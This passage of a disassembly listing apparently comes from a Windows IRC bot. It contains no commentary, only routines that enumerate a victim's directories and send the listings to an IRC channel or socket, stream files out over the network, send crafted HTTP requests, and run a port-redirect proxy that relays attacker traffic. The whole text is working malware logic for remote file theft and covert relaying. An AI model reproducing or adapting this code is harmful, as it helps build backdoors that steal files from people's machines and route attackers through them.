		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C150
		add	esp, 1Ch
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B7B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CDCB4	; send
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C150
		add	esp, 0Ch
		jmp	short loc_410312
; ---------------------------------------------------------------------------


loc_4102F8:				; CODE XREF: sub_4101B7+62j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C150
		add	esp, 10h


loc_410312:				; CODE XREF: sub_4101B7+5Aj
					; sub_4101B7+13Fj
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B7B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CDCB4	; send
		cmp	[ebp+arg_C], ebx
		jz	short loc_4103AA
		push	[ebp+arg_C]
		call	sub_41B7B0
		cmp	eax, 2
		pop	ecx
		jbe	short loc_4103AA
		push	[ebp+arg_C]
		call	sub_41B7B0
		sub	eax, 3
		pop	ecx
		jz	short loc_41035E


loc_410352:				; CODE XREF: sub_4101B7+1A5j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_41035E
		dec	eax
		jnz	short loc_410352


loc_41035E:				; CODE XREF: sub_4101B7+199j
					; sub_4101B7+1A2j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_41BDC0
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C150
		add	esp, 1Ch
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B7B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CDCB4	; send


loc_4103AA:				; CODE XREF: sub_4101B7+17Dj
					; sub_4101B7+18Bj
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		call	dword_428000	; FindFirstFileA
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		call	dword_42811C	; FindNextFileA
		test	eax, eax
		jz	loc_4107A1
		mov	edi, 1FFh


loc_4103D6:				; CODE XREF: sub_4101B7+5E4j
		cmp	[ebp+var_388], ebx
		jz	loc_410789
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410789
		lea	eax, [ebp+var_35C]
		push	offset a_	; "."
		push	eax
		call	sub_41C840
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410789
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		call	dword_428118	; FileTimeToLocalFileTime
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_428114	; FileTimeToSystemTime
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	loc_4104D3
		mov	ecx, offset aAm	; "AM"
		movzx	eax, ax


loc_410452:				; CODE XREF: sub_4101B7+322j
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_41C056
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_41060A
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_4104DE
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41C150
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		push	esi
		push	eax
		call	sub_41C150
		add	esp, 28h
		jmp	loc_41075A
; ---------------------------------------------------------------------------


loc_4104D3:				; CODE XREF: sub_4101B7+28Dj
		movzx	eax, ax
		sub	eax, 0Ch
		jmp	loc_410452
; ---------------------------------------------------------------------------


loc_4104DE:				; CODE XREF: sub_4101B7+2D5j
		cmp	[ebp+arg_C], ebx
		jz	loc_4105C8
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C150
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B7B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CDCB4	; send
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_1	; "%s%s/"
		push	edi
		push	eax
		call	sub_41C150
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B7B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CDCB4	; send
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41B7B0
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		jbe	short loc_410584
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_410589
; ---------------------------------------------------------------------------


loc_410584:				; CODE XREF: sub_4101B7+3C4j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_410589:				; CODE XREF: sub_4101B7+3CBj
		push	edi
		push	eax
		call	sub_41C150
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B7B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CDCB4	; send
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_41074B
; ---------------------------------------------------------------------------


loc_4105C8:				; CODE XREF: sub_4101B7+32Aj
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41C150
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"


loc_4105F5:				; CODE XREF: sub_4101B7+47Bj
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C150
		add	esp, 24h
		jmp	loc_41075A
; ---------------------------------------------------------------------------


loc_41060A:				; CODE XREF: sub_4101B7+2C9j
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_410634
		push	ebx
		push	[ebp+var_368]
		call	sub_416E8B
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		jmp	short loc_4105F5
; ---------------------------------------------------------------------------


loc_410634:				; CODE XREF: sub_4101B7+459j
		cmp	[ebp+arg_C], ebx
		jz	loc_410734
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C150
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B7B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CDCB4	; send
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset dword_42AB10
		push	edi
		push	eax
		call	sub_41C150
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B7B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CDCB4	; send
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41B7B0
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		jbe	short loc_4106DA
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_4106DF
; ---------------------------------------------------------------------------


loc_4106DA:				; CODE XREF: sub_4101B7+51Aj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_4106DF:				; CODE XREF: sub_4101B7+521j
		push	edi
		push	eax
		call	sub_41C150
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B7B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CDCB4	; send
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C150
		add	esp, 1Ch
		jmp	short loc_41075A
; ---------------------------------------------------------------------------


loc_410734:				; CODE XREF: sub_4101B7+480j
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"
		push	esi


loc_41074B:				; CODE XREF: sub_4101B7+40Cj
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41C150
		add	esp, 18h


loc_41075A:				; CODE XREF: sub_4101B7+317j
					; sub_4101B7+44Ej ...
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B7B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CDCB4	; send
		cmp	[ebp+arg_8], ebx
		jz	short loc_410789
		push	7D0h
		call	dword_428064	; Sleep


loc_410789:				; CODE XREF: sub_4101B7+225j
					; sub_4101B7+240j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		call	dword_42811C	; FindNextFileA
		test	eax, eax
		jnz	loc_4103D6


loc_4107A1:				; CODE XREF: sub_4101B7+214j
		push	[ebp+arg_0]
		call	dword_428110	; FindClose
		cmp	[ebp+arg_8], ebx
		jz	short loc_4107E4
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_416E8B
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_416E8B
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_41C056
		add	esp, 14h
		jmp	short loc_410812
; ---------------------------------------------------------------------------


loc_4107E4:				; CODE XREF: sub_4101B7+5F6j
		cmp	[ebp+arg_C], ebx
		lea	eax, [ebp+var_248]
		jz	short loc_4107FE
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_41C056
		pop	ecx
		pop	ecx
		jmp	short loc_410812
; ---------------------------------------------------------------------------


loc_4107FE:				; CODE XREF: sub_4101B7+636j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_41C056
		add	esp, 10h


loc_410812:				; CODE XREF: sub_4101B7+62Bj
					; sub_4101B7+645j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B7B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CDCB4	; send
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_4101B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410838	proc near		; CODE XREF: sub_40FD8C+135p

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		call	dword_4280EC	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_4108F0
		push	esi
		push	ebx
		call	dword_42810C	; GetFileSize
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_4108E9


loc_41087D:				; CODE XREF: sub_410838+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_41BD60
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]
		jbe	short loc_41089A
		mov	edi, [ebp+arg_4]


loc_41089A:				; CODE XREF: sub_410838+5Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		call	dword_428120	; SetFilePointer
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		call	dword_4280E8	; ReadFile
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CDCB4	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4108E4
		call	dword_4CDBF8	; WSAGetLastError
		cmp	eax, 2733h
		jnz	short loc_4108E9
		xor	eax, eax


loc_4108E4:				; CODE XREF: sub_410838+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_41087D


loc_4108E9:				; CODE XREF: sub_410838+43j
					; sub_410838+A8j
		push	ebx
		call	dword_42806C	; CloseHandle


loc_4108F0:				; CODE XREF: sub_410838+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410838	endp


; =============== S U B	R O U T	I N E =======================================



sub_4108F5	proc near		; CODE XREF: sub_40FF08+17Bp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_41B7B0
		test	eax, eax
		pop	ecx
		jbe	short loc_41091E


loc_410908:				; CODE XREF: sub_4108F5+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_410912
		mov	byte ptr [esi+edi], 2Fh


loc_410912:				; CODE XREF: sub_4108F5+17j
		push	edi
		inc	esi
		call	sub_41B7B0
		cmp	esi, eax
		pop	ecx
		jb	short loc_410908


loc_41091E:				; CODE XREF: sub_4108F5+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4108F5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410923	proc near		; CODE XREF: sub_401B66+51BBp

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	dword_4CDBD4	; WSAStartup
		push	6
		push	1
		push	2
		call	dword_4CDCE4	; socket
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41BD60
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	dword_4CDC64	; ntohs
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_40AA04
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4CDC0C	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410A00
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_41099C
		mov	eax, offset byte_43FE14


loc_41099C:				; CODE XREF: sub_410923+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_41C150
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41B7B0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	dword_4CDCB4	; send
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	near ptr sub_41CAE0
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_4CDC7C	; recv
		pop	esi


loc_410A00:				; CODE XREF: sub_410923+6Bj
		push	ebx
		call	dword_4CDCFC	; closesocket
		call	dword_4CDBBC	; WSACleanup
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_41C056
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_410A40
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409982
		add	esp, 14h


loc_410A40:				; CODE XREF: sub_410923+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_410923	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_410A44	proc near		; DATA XREF: sub_401B66+605Bo

var_350		= byte ptr -350h
var_150		= byte ptr -150h
var_14C		= dword	ptr -14Ch
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_30		= dword	ptr -30h
var_28		= byte ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= byte ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 350h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_150]
		push	10h
		rep movsd
		pop	edi
		mov	dword ptr [eax+120h], 1
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41BD60
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+var_44]
		call	dword_4CDC64	; ntohs
		push	6
		push	1
		push	2
		mov	[ebp+var_12], ax
		mov	[ebp+var_10], esi
		mov	[ebp+var_4], edi
		call	dword_4CDCE4	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_410BAF
		mov	ecx, [ebp+var_40]
		push	1
		imul	ecx, 234h
		push	401h
		push	esi
		push	eax
		mov	dword_440BA4[ecx], eax
		call	dword_4CDB74	; WSAAsyncSelect
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CDC90	; bind
		test	eax, eax
		jnz	loc_410BAF
		push	0Ah
		push	[ebp+arg_0]
		call	dword_4CDC8C	; listen
		test	eax, eax
		jnz	loc_410BAF


loc_410AF4:				; CODE XREF: sub_410A44+C6j
					; sub_410A44+166j
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CDCF8	; accept
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_410AF4
		movzx	eax, [ebp+var_26]
		push	[ebp+var_40]
		mov	[ebp+var_14C], edi
		mov	[ebp+var_30], esi
		push	eax
		push	[ebp+var_24]
		call	dword_4CDCF0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_350]
		push	offset unk_436C90
		push	eax
		call	sub_41C056
		push	edi
		lea	eax, [ebp+var_350]
		push	18h
		push	eax
		call	sub_40AF8D
		mov	[ebp+var_3C], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_40]
		add	esp, 20h
		mov	dword_440B9C[eax], ecx
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_150]
		push	esi
		push	eax
		push	offset sub_410BD4
		push	esi
		push	esi
		call	dword_42807C	; CreateThread
		mov	ecx, [ebp+var_3C]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_440BAC[ecx], eax
		jnz	short loc_410BA5
		call	dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_436C50
		call	sub_415819
		pop	ecx
		pop	ecx
		jmp	short loc_410BB2
; ---------------------------------------------------------------------------


loc_410B9D:				; CODE XREF: sub_410A44+164j
		push	32h
		call	dword_428064	; Sleep


loc_410BA5:				; CODE XREF: sub_410A44+142j
		cmp	[ebp+var_30], esi
		jz	short loc_410B9D
		jmp	loc_410AF4
; ---------------------------------------------------------------------------


loc_410BAF:				; CODE XREF: sub_410A44+63j
					; sub_410A44+97j ...
		mov	edi, [ebp+arg_0]


loc_410BB2:				; CODE XREF: sub_410A44+157j
		push	edi
		call	dword_4CDCFC	; closesocket
		push	[ebp+arg_0]
		call	dword_4CDCFC	; closesocket
		push	[ebp+var_40]
		call	sub_40B2A3
		pop	ecx
		push	esi
		call	dword_4280CC	; ExitThread
		pop	edi
		pop	esi
sub_410A44	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_410BD4	proc near		; DATA XREF: sub_410A44+124o

var_1344	= byte ptr -1344h
var_344		= byte ptr -344h
var_144		= byte ptr -144h
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_41C2F0
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		mov	ebx, [ebp+var_30]
		xor	ecx, ecx
		inc	ecx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		mov	[ebp+var_4], ebx
		call	dword_4CDCE4	; socket
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+arg_0], esi
		jz	loc_410D37
		push	10h
		lea	eax, [ebp+var_18]
		push	edi
		push	eax
		call	sub_41BD60
		add	esp, 0Ch
		mov	[ebp+var_18], 2
		push	[ebp+var_3C]
		call	dword_4CDC64	; ntohs
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_13C]
		push	eax
		call	dword_4CDCA4	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_410C64
		lea	eax, [ebp+var_13C]
		push	eax
		call	dword_4CDCE8	; gethostbyname
		jmp	short loc_410C72
; ---------------------------------------------------------------------------


loc_410C64:				; CODE XREF: sub_410BD4+7Fj
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_4CDC1C	; gethostbyaddr


loc_410C72:				; CODE XREF: sub_410BD4+8Ej
		cmp	eax, edi
		jz	loc_410D37
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	dword_4CDC0C	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_410D37
		movzx	eax, [ebp+var_16]
		push	[ebp+var_34]
		mov	[ebp+var_20], edi
		push	eax
		push	[ebp+var_14]
		call	dword_4CDCF0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_436D18
		push	eax
		call	sub_41C056
		push	esi
		lea	eax, [ebp+var_344]
		push	18h
		push	eax
		call	sub_40AF8D
		imul	ebx, 234h
		mov	[ebp+var_30], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_34]
		lea	esi, dword_440BA4[ebx]
		mov	dword_440B9C[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_440BA8[eax], ecx
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_144]
		push	edi
		push	eax
		push	offset sub_410DBC
		push	edi
		push	edi
		call	dword_42807C	; CreateThread
		mov	ecx, [ebp+var_30]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_440BAC[ecx], eax
		jnz	short loc_410D70
		call	dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_436CD8
		call	sub_415819
		pop	ecx
		pop	ecx


loc_410D37:				; CODE XREF: sub_410BD4+44j
					; sub_410BD4+A0j ...
		mov	eax, [ebp+var_4]
		imul	eax, 234h
		push	dword_440BA4[eax]
		call	dword_4CDCFC	; closesocket
		push	[ebp+arg_0]
		call	dword_4CDCFC	; closesocket
		push	[ebp+var_4]
		call	sub_40B2A3
		pop	ecx
		push	edi
		call	dword_4280CC	; ExitThread
		pop	edi
		pop	esi
		pop	ebx


loc_410D68:				; CODE XREF: sub_410BD4+19Fj
		push	32h
		call	dword_428064	; Sleep


loc_410D70:				; CODE XREF: sub_410BD4+14Ej
		cmp	[ebp+var_20], edi
		jz	short loc_410D68
		mov	ebx, 1000h


loc_410D7A:				; CODE XREF: sub_410BD4+1E1j
		push	ebx
		lea	eax, [ebp+var_1344]
		push	edi
		push	eax
		call	sub_41BD60
		add	esp, 0Ch
		lea	eax, [ebp+var_1344]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CDC7C	; recv
		cmp	eax, edi
		jle	short loc_410D37
		push	edi
		push	eax
		lea	eax, [ebp+var_1344]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CDCB4	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410D7A
		jmp	loc_410D37
sub_410BD4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410DBC	proc near		; DATA XREF: sub_410BD4+130o

var_1128	= byte ptr -1128h
var_128		= byte ptr -128h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_41C2F0
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_128]
		rep movsd
		mov	esi, [ebp+var_14]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h


loc_410DF3:				; CODE XREF: sub_410DBC+7Cj
		push	edi
		lea	eax, [ebp+var_1128]
		push	0
		push	eax
		call	sub_41BD60
		add	esp, 0Ch
		lea	eax, [ebp+var_1128]
		push	0
		push	edi
		push	eax
		push	dword_440BA8[esi]
		call	dword_4CDC7C	; recv
		test	eax, eax
		jle	short loc_410E3A
		push	0
		push	eax
		lea	eax, [ebp+var_1128]
		push	eax
		push	dword_440BA4[esi]
		call	dword_4CDCB4	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410DF3


loc_410E3A:				; CODE XREF: sub_410DBC+61j
		push	dword_440BA8[esi]
		call	dword_4CDCFC	; closesocket
		push	[ebp+var_14]
		call	sub_40B2A3
		pop	ecx
		push	0
		call	dword_4280CC	; ExitThread
		pop	edi
		pop	esi
sub_410DBC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410E59	proc near		; DATA XREF: sub_4110CE+1BEo

var_3D4		= byte ptr -3D4h
var_350		= byte ptr -350h
var_208		= dword	ptr -208h
var_1F4		= dword	ptr -1F4h
var_1F0		= dword	ptr -1F0h
var_F0		= byte ptr -0F0h
var_B0		= byte ptr -0B0h
var_4C		= byte ptr -4Ch
var_3C		= byte ptr -3Ch
var_2C		= byte ptr -2Ch
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
